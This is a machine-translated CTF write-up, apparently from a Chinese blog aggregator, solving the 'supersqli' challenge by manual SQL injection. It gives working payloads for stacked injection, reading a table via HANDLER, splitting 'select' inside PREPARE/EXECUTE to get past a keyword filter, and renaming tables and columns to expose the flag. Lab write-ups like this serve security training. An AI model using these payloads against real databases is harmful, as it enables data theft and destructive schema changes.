当前位置:网站首页>Advanced area of attack and defense world web masters supersqli
Advanced area of attack and defense world web masters supersqli
2022-07-29 00:17:00 【Ant200】
Tips : Method ten million , The best thing is to suit yourself !
Tools
firefox
analysis
Look at the topic -- Note casually ,supersqli And the web content guess is sql Inject
1. Input 1, Found variable is inject

2. View page source code , Discovery tips sqlmap There is no soul , Realize that it should not be used sqlmap run , Try manual injection
3. Input
1' union select 1--+Tips are filtered ,preg_match Can own Baidu , After filtering, it cannot be used select This command

4, Try Stack Injection
Stacked injections( Stack Injection ) From the meaning of the noun, we can see that it should be a pile of sql sentence ( multiple ) Do it together . And it's the same in real use , We know that mysql in , Mainly in the command line , Add... At the end of each sentence ; End of statement . In this way, we think about whether we can use more than one sentence together . This is called stacked injection.
command
1';show databases; --+
5, Burst database , According to the title, it should be --supersqli, Query the table below to get two tables

6, Query the columns under the table
Be careful :
1. Both orders should be followed by a semicolon
2. Column names should be enclosed in backquotes ,( English model esc The next one )
command
-1';show columns from `1919810931114514`;--+
obtain flag This field , Out-of-service select, Try something else
Method 1 : Use handler
command :
handler `1919810931114514` open Open this file
; handler `1919810931114514` read first According to the line read
-1'; handler `1919810931114514` open ; handler `1919810931114514` read first; --+
obtain flag

View source code replication

Method 2 :
precompile + Stack Injection
precompile :mysql Precompiled function of , It is for those frequently executed grammars to remain unchanged sql Statement , Every time sql The execution of statements must be compiled by the database , This process is quite time-consuming , One, two or more may not feel much , If there are thousands of them, the efficiency will obviously change .mysql The mechanism provided can make a structure unchanged sql Statements are pre compiled in the database , We just need to pass variable parameters to it for execution every time , In this way, the compilation steps are omitted , The efficiency improvement is very obvious . Deepen understanding link .
sentence :
SET @tn = 'hahaha'; // Storage table name
SET @sql = concat('select * from ', @tn); // Storage SQL sentence
PREPARE name from @sql; // predefined SQL sentence
EXECUTE name; // Execute predefined SQL sentence
(DEALLOCATE || DROP) PREPARE sqla; // Delete predefined SQL sentence command : There will be select Disassemble and splice , It can also be used. ascill Code instead of
;SET @sql=concat('s','elect', '* from `1919810931114514`'); PREPARE a from @sql; EXECUTE a;
when flag

Method 3 :
Use rename and alter These two commands are used to change the table name and field name . Because we can visit words Inside columns, Find out id, That is to say, what we input 1 The default is query words This watch . So we can put words Change the name of the watch into words1 surface , hold 1919810931114514 Change the name of the watch into words, Then take it. 1919810931114514 Inside flag Change the field name to id, Then input 1’ or 1=1# You can successfully get flag 了 .
Construct command :
rename tables `words` to `words1`: Original words Change it to another name
rename tables `1919810931114514` to `words`: There will be flag The file is changed to words
alter table `words` change `flag` `id` varchar(100); Change its length
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
Successful execution

Inquire about flag
Related links ;
Stack Injection details ( Reprint ) - Good mentality (*▽*) - Blog Garden
边栏推荐
- The difference between {} and ${}
- 【MySQL 8】Generated Invisible Primary Keys(GIPK)
- laptop外接显示器
- Sword finger offer 64. find 1+2+... +n, logical operator short circuit effect
- Laptop external display
- MySql中的like和in走不走索引
- MySQL installation and configuration tutorial (super detailed, nanny level)
- EN 1935 building hardware. Single axis hinge - CE certification
- centos7安装mysql8
- [applet project development -- JD mall] uni app commodity classification page (first)
猜你喜欢

ACM SIGIR 2022 | interpretation of selected papers of meituan technical team

Android studio connects to MySQL and completes simple login and registration functions

SAP temporary tablespace error handling

IDEA2021.2安装与配置(持续更新)

mysql索引失效的常见9种原因详解

Real time data warehouse: meituan's implementation of real-time data warehouse construction based on Flink

Leetcode60. permutation sequence

JS高级 之 ES6~ES13 新特性

Eye of depth (18) -- partial derivative

Web系统常见安全漏洞介绍及解决方案-CSRF攻击
随机推荐
ISO 13400(DoIP)标准解读
With this, your messages can't be monitored
EN 1873 assembly accessories for roofing - plastic single roof lamps - CE certification
【C】 Replace spaces and realize binary parity bit exchange of integers by macros
EN 12101-8:2011 smoke dampers for smoke and heat control systems - CE certification
Review of categories 1-4
mysql中exists的用法详解
Using recursion and chain header interpolation to realize the group turnover of linked lists -- leetcode25 K group turnover linked lists
JS advanced ES6 ~ es13 new features
Android studio连接MySQL并完成简单的登录注册功能
2022 network security learning route is very detailed, recommended Learning
Geth installation
After SAP Oracle replicates a new instance, the remote connection of the database reports an error ora-01031
Doip communication of canoe application case
Why is it so difficult for the SEC to refuse the application for transferring gray-scale GBTC to spot ETF? What is the attraction of ETF transfer?
Leetcode60. permutation sequence
1-6 state and binding events
MySQL安装配置教程(超级详细、保姆级)
Centos7 install mysql8
Advanced area of attack and defense world web masters training www robots